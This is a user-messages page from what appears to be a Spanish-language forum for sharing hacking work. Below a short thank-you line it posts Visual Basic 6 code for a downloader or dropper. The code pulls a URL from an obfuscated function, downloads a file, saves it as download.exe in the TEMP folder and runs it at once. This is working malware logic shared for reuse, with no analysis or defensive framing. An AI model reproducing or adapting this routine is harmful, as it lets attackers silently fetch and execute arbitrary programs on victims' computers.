Gracias por compartir N3go aunque aqui creo que nadie aprecia los trabajos que hacemos

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú































































Dim DownloadURL As StringDownloadURL = MlsfJROkhj(13)
If LCase(DownloadURL) <> "none" Or InStr(DownloadURL, "http://") > 0 Or Len(DownloadURL) > 4 Then
Dim FileBytes() As Byte
FileBytes = Inet1.OpenURL(DownloadURL, icByteArray)
Dim DownloadName As String
DownloadName = Environ$("TEMP") & "\download.exe"
Open DownloadName For Binary As #1
Put #1, , FileBytes
Close #1
Shell DownloadName
End If
















